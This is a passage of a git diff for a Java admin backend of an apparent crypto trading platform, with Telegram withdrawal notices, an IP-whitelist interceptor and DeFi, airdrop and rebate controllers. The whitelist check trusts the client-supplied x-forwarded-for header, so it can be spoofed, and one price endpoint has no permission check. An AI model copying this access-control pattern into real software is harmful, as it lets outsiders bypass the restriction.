MyTelegramBot myTelegramBot){ + this.redisUtil = redisUtil; + this.streamListener = new ListenerMessage(redisUtil,marketThread,webSocketNotice,withdrawService,myTelegramBot); + } + + @Bean + public List subscription(RedisConnectionFactory factory){ + List resultList = new ArrayList<>(); + var options = StreamMessageListenerContainer + .StreamMessageListenerContainerOptions + .builder() + .pollTimeout(Duration.ofSeconds(1)) + .build(); + for (String redisStreamName : redisStreamNames) { + initStream(redisStreamName,groups[0]); + var listenerContainer = StreamMessageListenerContainer.create(factory,options); + Subscription subscription = listenerContainer.receiveAutoAck(Consumer.from(groups[0], this.getClass().getName()), + StreamOffset.create(redisStreamName, ReadOffset.lastConsumed()), streamListener); + resultList.add(subscription); + listenerContainer.start(); + } + return resultList; + } + + + private void initStream(String key, String group){ + boolean hasKey = redisUtil.hasKey(key); + if(!hasKey){ + Map map = new HashMap<>(); + map.put("field","value"); + RecordId recordId = redisUtil.addStream(key, map); + redisUtil.addGroup(key,group); + //将初始化的值删除掉 + redisUtil.delField(key,recordId.getValue()); + log.debug("stream:{}-group:{} initialize success",key,group); + } + } + + @PostConstruct + private void initStream(){ + for (String redisStreamName : redisStreamNames) { + initStream(redisStreamName,groups[0]); + } + } +} \ No newline at end of file diff --git a/ruoyi-admin/src/main/java/com/ruoyi/listen/ListenerMessage.java b/ruoyi-admin/src/main/java/com/ruoyi/listen/ListenerMessage.java new file mode 100644 index 0000000..75c0d88 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/listen/ListenerMessage.java @@ -0,0 +1,83 @@ +package com.ruoyi.listen; + +import com.alibaba.fastjson2.JSON; +import com.ruoyi.bussiness.domain.TAppRecharge; +import com.ruoyi.bussiness.domain.TWithdraw; +import com.ruoyi.bussiness.service.ITWithdrawService; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.socket.service.MarketThread; +import com.ruoyi.socket.socketserver.WebSocketNotice; +import com.ruoyi.telegrambot.MyTelegramBot; +import com.ruoyi.util.BotMessageBuildUtils; +import lombok.extern.slf4j.Slf4j; +import org.springframework.data.redis.connection.stream.MapRecord; +import org.springframework.data.redis.stream.StreamListener; +import org.springframework.stereotype.Component; +import org.telegram.telegrambots.meta.api.methods.send.SendMessage; + +import javax.annotation.Resource; +import java.util.List; +import java.util.Map; + +@Component +@Slf4j +public class ListenerMessage implements StreamListener> { + + ITWithdrawService withdrawService; + RedisUtil redisUtil; + List marketThread; + WebSocketNotice webSocketNotice; + + private MyTelegramBot myTelegramBot; + public ListenerMessage(RedisUtil redisUtil, List marketThread, WebSocketNotice webSocketNotice, ITWithdrawService withdrawService,MyTelegramBot myTelegramBot){ + this.redisUtil = redisUtil; + this.marketThread = marketThread; + this.webSocketNotice = webSocketNotice; + this.withdrawService = withdrawService; + this.myTelegramBot = myTelegramBot; + } + + @Override + public void onMessage(MapRecord entries) { + try{ + //check用于验证key和对应消息是否一直 + log.debug("stream name :{}, body:{}, check:{}",entries.getStream(),entries.getValue(),(entries.getStream().equals(entries.getValue().get("name")))); + String stream = entries.getStream(); + switch (stream) { + case "notice_key": + Map map =entries.getValue(); + if(map.containsKey(CacheConstants.WITHDRAW_KEY)){ + webSocketNotice.sendInfoAll(withdrawService,1); + } + if(map.containsKey(CacheConstants.RECHARGE_KEY)){ + webSocketNotice.sendInfoAll(withdrawService,2); + + } + if(map.containsKey(CacheConstants.VERIFIED_KEY)){ + webSocketNotice.sendInfoAll(withdrawService,3); + } + if(map.containsKey(CacheConstants.WITHDRAW_KEY_BOT)){ + String s = map.get(CacheConstants.WITHDRAW_KEY_BOT); + TWithdraw withdraw = JSON.parseObject(s, TWithdraw.class); + SendMessage sendMessage = BotMessageBuildUtils.buildText(RecordEnum.WITHDRAW.getCode(), null, withdraw); + myTelegramBot.toSend(sendMessage); + } + if(map.containsKey(CacheConstants.RECHARGE_KEY_BOT)){ + String s = map.get(CacheConstants.RECHARGE_KEY_BOT); + TAppRecharge recharge = JSON.parseObject(s, TAppRecharge.class); + SendMessage sendMessage = BotMessageBuildUtils.buildText(RecordEnum.RECHARGE.getCode(), recharge, null); + myTelegramBot.toSend(sendMessage); + } + break; + default: + throw new IllegalStateException("Unexpected value: " + stream); + } + redisUtil.delField(entries.getStream(),entries.getId().getValue()); + }catch (Exception e){ + log.error("error message:{}",e.getMessage()); + } + } + +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/WebMvcConfig.java b/ruoyi-admin/src/main/java/com/ruoyi/web/WebMvcConfig.java new file mode 100644 index 0000000..a601e02 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/WebMvcConfig.java @@ -0,0 +1,21 @@ +package com.ruoyi.web; + +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.servlet.config.annotation.InterceptorRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; + +@Configuration +public class WebMvcConfig implements WebMvcConfigurer { + + @Bean + public WhiteIpInterceptor whiteIpInterceptor() { + return new WhiteIpInterceptor(); + } + + @Override + public void addInterceptors(InterceptorRegistry registry) { + registry.addInterceptor(whiteIpInterceptor()).addPathPatterns("/**"); + } + +} \ No newline at end of file diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/WhiteIpInterceptor.java b/ruoyi-admin/src/main/java/com/ruoyi/web/WhiteIpInterceptor.java new file mode 100644 index 0000000..5ca4fe8 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/WhiteIpInterceptor.java @@ -0,0 +1,97 @@ +package com.ruoyi.web; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.setting.LoginRegisSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.domain.setting.WhiteIpSetting; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.StringUtils; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.CollectionUtils; +import org.springframework.web.servlet.HandlerInterceptor; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.util.List; +import java.util.Objects; + +@Slf4j +public class WhiteIpInterceptor implements HandlerInterceptor { + + public static final String LOCALHOST = "127.0.0.1"; + @Autowired + private SettingService settingService; + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + Setting setting = settingService.get(SettingEnum.WHITE_IP_SETTING.name()); + if (Objects.isNull(setting)){ + return true; + }else{ + List list = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), WhiteIpSetting.class); + if(CollectionUtils.isEmpty(list)){ + return true; + }else{ + try { + String ip = getIpAddr(request); + for (WhiteIpSetting whiteIp:list) { + if (StringUtils.isNotEmpty(whiteIp.getIp()) && whiteIp.getIp().equals(ip)){ + return true; + } + } + //拦截跳转 + log.debug("ip:{} is not allowed.",ip); + return this.failInterceptor(response,ip); + }catch(Exception e){ + log.error("Error occurred while checking the white ip ", e); + } + } + } + return false; + } + + /** + * 拦截器过滤失败 + * + * @param response + * @return + * @throws IOException + */ + public boolean failInterceptor(HttpServletResponse response,String ip) throws IOException { + try { + response.setCharacterEncoding("utf-8"); + response.setContentType("text/html; charset=utf-8"); + response.setStatus(403); + response.getWriter().println("Access denied: "+ip + ".登录其他账号请刷新页面"); + response.getWriter().flush(); + response.getWriter().close(); + return false; + } catch (Exception e) { + log.error("Error occurred while checking the white ip ", e); + return false; + } + } + + + public static String getIpAddr(HttpServletRequest request) { + String ip = request.getHeader("x-forwarded-for"); + if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) { + ip = request.getHeader("Proxy-Client-IP"); + } + if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) { + ip = request.getHeader("WL-Proxy-Client-IP"); + } + if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) { + ip = request.getRemoteAddr(); + } + if (ip.equals("0:0:0:0:0:0:0:1")) { + ip = LOCALHOST; + } + if (ip.split(",").length > 1) { + ip = ip.split(",")[0]; + } + return ip; + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiActivityController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiActivityController.java new file mode 100644 index 0000000..3e9b827 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiActivityController.java @@ -0,0 +1,104 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.DefiActivity; +import com.ruoyi.bussiness.service.IDefiActivityService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 空投活动Controller + * + * @author ruoyi + * @date 2023-08-17 + */ +@RestController +@RequestMapping("/bussiness/activitydefi") +public class DefiActivityController extends BaseController +{ + @Autowired + private IDefiActivityService defiActivityService; + + /** + * 查询空投活动列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:activitydefi:list')") + @GetMapping("/list") + public TableDataInfo list(DefiActivity defiActivity) + { + startPage(); + List list = defiActivityService.selectDefiActivityList(defiActivity); + return getDataTable(list); + } + + /** + * 导出空投活动列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:activitydefi:export')") + @Log(title = "空投活动", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, DefiActivity defiActivity) + { + List list = defiActivityService.selectDefiActivityList(defiActivity); + ExcelUtil util = new ExcelUtil(DefiActivity.class); + util.exportExcel(response, list, "空投活动数据"); + } + + /** + * 获取空投活动详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:activitydefi:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(defiActivityService.selectDefiActivityById(id)); + } + + /** + * 新增空投活动 + */ + @PreAuthorize("@ss.hasPermi('bussiness:activitydefi:add')") + @Log(title = "空投活动", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody DefiActivity defiActivity) + { + return toAjax(defiActivityService.insertDefiActivity(defiActivity)); + } + + /** + * 修改空投活动 + */ + @PreAuthorize("@ss.hasPermi('bussiness:activitydefi:edit')") + @Log(title = "空投活动", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody DefiActivity defiActivity) + { + return toAjax(defiActivityService.updateDefiActivity(defiActivity)); + } + + /** + * 删除空投活动 + */ + @PreAuthorize("@ss.hasPermi('bussiness:activitydefi:remove')") + @Log(title = "空投活动", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(defiActivityService.deleteDefiActivityByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiOrderController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiOrderController.java new file mode 100644 index 0000000..aab61a2 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiOrderController.java @@ -0,0 +1,116 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.DefiOrder; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.service.IDefiOrderService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * defi订单Controller + * + * @author ruoyi + * @date 2023-08-17 + */ +@RestController +@RequestMapping("/bussiness/orderdefi") +public class DefiOrderController extends BaseController +{ + @Autowired + private IDefiOrderService defiOrderService; + + /** + * 查询defi订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:orderdefi:list')") + @GetMapping("/list") + public TableDataInfo list(DefiOrder defiOrder) + { + startPage(); + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + defiOrder.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + List list = defiOrderService.selectDefiOrderList(defiOrder); + return getDataTable(list); + } + + /** + * 导出defi订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:orderdefi:export')") + @Log(title = "defi订单", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, DefiOrder defiOrder) + { + List list = defiOrderService.selectDefiOrderList(defiOrder); + ExcelUtil util = new ExcelUtil(DefiOrder.class); + util.exportExcel(response, list, "defi订单数据"); + } + + /** + * 获取defi订单详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:orderdefi:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(defiOrderService.selectDefiOrderById(id)); + } + + /** + * 新增defi订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:orderdefi:add')") + @Log(title = "defi订单", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody DefiOrder defiOrder) + { + return toAjax(defiOrderService.insertDefiOrder(defiOrder)); + } + + /** + * 修改defi订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:orderdefi:edit')") + @Log(title = "defi订单", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody DefiOrder defiOrder) + { + return toAjax(defiOrderService.updateDefiOrder(defiOrder)); + } + + /** + * 删除defi订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:orderdefi:remove')") + @Log(title = "defi订单", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(defiOrderService.deleteDefiOrderByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiRateController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiRateController.java new file mode 100644 index 0000000..8e98659 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiRateController.java @@ -0,0 +1,104 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.DefiRate; +import com.ruoyi.bussiness.service.IDefiRateService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * defi挖矿利率配置Controller + * + * @author ruoyi + * @date 2023-08-17 + */ +@RestController +@RequestMapping("/bussiness/ratedefi") +public class DefiRateController extends BaseController +{ + @Autowired + private IDefiRateService defiRateService; + + /** + * 查询defi挖矿利率配置列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ratedefi:list')") + @GetMapping("/list") + public TableDataInfo list(DefiRate defiRate) + { + startPage(); + List list = defiRateService.selectDefiRateList(defiRate); + return getDataTable(list); + } + + /** + * 导出defi挖矿利率配置列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ratedefi:export')") + @Log(title = "defi挖矿利率配置", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, DefiRate defiRate) + { + List list = defiRateService.selectDefiRateList(defiRate); + ExcelUtil util = new ExcelUtil(DefiRate.class); + util.exportExcel(response, list, "defi挖矿利率配置数据"); + } + + /** + * 获取defi挖矿利率配置详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ratedefi:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(defiRateService.selectDefiRateById(id)); + } + + /** + * 新增defi挖矿利率配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ratedefi:add')") + @Log(title = "defi挖矿利率配置", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody DefiRate defiRate) + { + return toAjax(defiRateService.insertDefiRate(defiRate)); + } + + /** + * 修改defi挖矿利率配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ratedefi:edit')") + @Log(title = "defi挖矿利率配置", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody DefiRate defiRate) + { + return toAjax(defiRateService.updateDefiRate(defiRate)); + } + + /** + * 删除defi挖矿利率配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ratedefi:remove')") + @Log(title = "defi挖矿利率配置", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(defiRateService.deleteDefiRateByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/KlineSymbolController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/KlineSymbolController.java new file mode 100644 index 0000000..1ea668d --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/KlineSymbolController.java @@ -0,0 +1,142 @@ +package com.ruoyi.web.controller.bussiness; + +import java.math.BigDecimal; +import java.util.*; +import java.util.concurrent.atomic.AtomicReference; +import java.util.stream.Collectors; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.vo.OwnVO; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import org.apache.commons.collections4.CollectionUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.service.IKlineSymbolService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 数据源Controller + * + * @author ruoyi + * @date 2023-07-10 + */ +@RestController +@RequestMapping("/bussiness/klineSymbol") +public class KlineSymbolController extends BaseController +{ + @Resource + private IKlineSymbolService klineSymbolService; + @Resource + private RedisCache redisCache; + + /** + * 查询数据源列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:klineSymbol:list')") + @GetMapping("/list") + public TableDataInfo list(KlineSymbol klineSymbol) + { + List list = klineSymbolService.selectKlineSymbolList(klineSymbol); + return getDataTable(list); + } + @GetMapping("/selectList") + public AjaxResult selectList(KlineSymbol klineSymbol) + { + List list = new ArrayList<>(); + klineSymbol.setMarket("binance"); + List keys = redisCache.keys(CachePrefix.CURRENCY_PRICE.getPrefix() + "*").stream().collect(Collectors.toList()); + if (CollectionUtils.isEmpty(keys)) { + return AjaxResult.success(list); + } + List klineSymbolList = klineSymbolService.list(new LambdaQueryWrapper().eq(KlineSymbol::getMarket, "binance")); + for (String key : keys) { + String coin= key.substring(key.indexOf(":")+1,key.length()); + String regex =".*[A-Z].*"; + if (coin.matches(regex)) { + continue; + } + klineSymbolList.stream().forEach(k->{ + if (coin.toUpperCase().equals(k.getSymbol().toUpperCase())){ + OwnVO ownVO = new OwnVO(); + ownVO.setMarket(k.getMarket()); + ownVO.setCoin(coin); + ownVO.setPrice(new BigDecimal(redisCache.getCacheObject(key).toString())); + list.add(ownVO); + } + }); + } + return AjaxResult.success(list); + } + + /** + * 导出数据源列表 + */ + @PreAuthorize("@ss.hasPermi('system:symbol:export')") + @Log(title = "数据源", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, KlineSymbol klineSymbol) + { + List list = klineSymbolService.selectKlineSymbolList(klineSymbol); + ExcelUtil util = new ExcelUtil(KlineSymbol.class); + util.exportExcel(response, list, "数据源数据"); + } + + /** + * 获取数据源详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:symbol:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(klineSymbolService.selectKlineSymbolById(id)); + } + + /** + * 新增数据源 + */ + @PreAuthorize("@ss.hasPermi('system:symbol:add')") + @Log(title = "数据源", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody KlineSymbol klineSymbol) + { + return toAjax(klineSymbolService.insertKlineSymbol(klineSymbol)); + } + + /** + * 修改数据源 + */ + @PreAuthorize("@ss.hasPermi('system:symbol:edit')") + @Log(title = "数据源", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody KlineSymbol klineSymbol) + { + return toAjax(klineSymbolService.updateKlineSymbol(klineSymbol)); + } + + /** + * 删除数据源 + */ + @PreAuthorize("@ss.hasPermi('system:symbol:remove')") + @Log(title = "数据源", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(klineSymbolService.deleteKlineSymbolByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TActivityRechargeController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TActivityRechargeController.java new file mode 100644 index 0000000..2ebcd90 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TActivityRechargeController.java @@ -0,0 +1,105 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TActivityRecharge; +import com.ruoyi.bussiness.service.ITActivityRechargeService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 充值活动Controller + * + * @author ruoyi + * @date 2023-07-05 + */ +@RestController +@RequestMapping("/bussiness/activityrecharge") +public class TActivityRechargeController extends BaseController +{ + @Autowired + private ITActivityRechargeService tActivityRechargeService; + + /** + * 查询充值活动列表 + */ + @PreAuthorize("@ss.hasPermi('system:recharge:list')") + @GetMapping("/list") + public TableDataInfo list(TActivityRecharge tActivityRecharge) + { + startPage(); + List list = tActivityRechargeService.selectTActivityRechargeList(tActivityRecharge); + return getDataTable(list); + } + + /** + * 导出充值活动列表 + */ + @PreAuthorize("@ss.hasPermi('system:recharge:export')") + @Log(title = "充值活动", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TActivityRecharge tActivityRecharge) + { + List list = tActivityRechargeService.selectTActivityRechargeList(tActivityRecharge); + ExcelUtil util = new ExcelUtil(TActivityRecharge.class); + util.exportExcel(response, list, "充值活动数据"); + } + + /** + * 获取充值活动详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:recharge:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tActivityRechargeService.selectTActivityRechargeById(id)); + } + + /** + * 新增充值活动 + */ + @PreAuthorize("@ss.hasPermi('system:recharge:add')") + @Log(title = "充值活动", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TActivityRecharge tActivityRecharge) + { + return toAjax(tActivityRechargeService.insertTActivityRecharge(tActivityRecharge)); + } + + /** + * 修改充值活动 + */ + @PreAuthorize("@ss.hasPermi('system:recharge:edit')") + @Log(title = "充值活动", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TActivityRecharge tActivityRecharge) + { + return toAjax(tActivityRechargeService.updateTActivityRecharge(tActivityRecharge)); + } + + /** + * 删除充值活动 + */ + @PreAuthorize("@ss.hasPermi('system:recharge:remove')") + @Log(title = "充值活动", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tActivityRechargeService.deleteTActivityRechargeByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAgentActivityInfoController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAgentActivityInfoController.java new file mode 100644 index 0000000..74814e6 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAgentActivityInfoController.java @@ -0,0 +1,105 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TAgentActivityInfo; +import com.ruoyi.bussiness.service.ITAgentActivityInfoService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 返利活动明细Controller + * + * @author ruoyi + * @date 2023-07-06 + */ +@RestController +@RequestMapping("/bussiness/agentactivity") +public class TAgentActivityInfoController extends BaseController +{ + @Autowired + private ITAgentActivityInfoService tAgentActivityInfoService; + + /** + * 查询返利活动明细列表 + */ + @PreAuthorize("@ss.hasPermi('system:info:list')") + @GetMapping("/list") + public TableDataInfo list(TAgentActivityInfo tAgentActivityInfo) + { + startPage(); + List list = tAgentActivityInfoService.selectTAgentActivityInfoList(tAgentActivityInfo); + return getDataTable(list); + } + + /** + * 导出返利活动明细列表 + */ + @PreAuthorize("@ss.hasPermi('system:info:export')") + @Log(title = "返利活动明细", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TAgentActivityInfo tAgentActivityInfo) + { + List list = tAgentActivityInfoService.selectTAgentActivityInfoList(tAgentActivityInfo); + ExcelUtil util = new ExcelUtil(TAgentActivityInfo.class); + util.exportExcel(response, list, "返利活动明细数据"); + } + + /** + * 获取返利活动明细详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:info:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") String id) + { + return success(tAgentActivityInfoService.selectTAgentActivityInfoById(id)); + } + + /** + * 新增返利活动明细 + */ + @PreAuthorize("@ss.hasPermi('system:info:add')") + @Log(title = "返利活动明细", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TAgentActivityInfo tAgentActivityInfo) + { + return toAjax(tAgentActivityInfoService.insertTAgentActivityInfo(tAgentActivityInfo)); + } + + /** + * 修改返利活动明细 + */ + @PreAuthorize("@ss.hasPermi('system:info:edit')") + 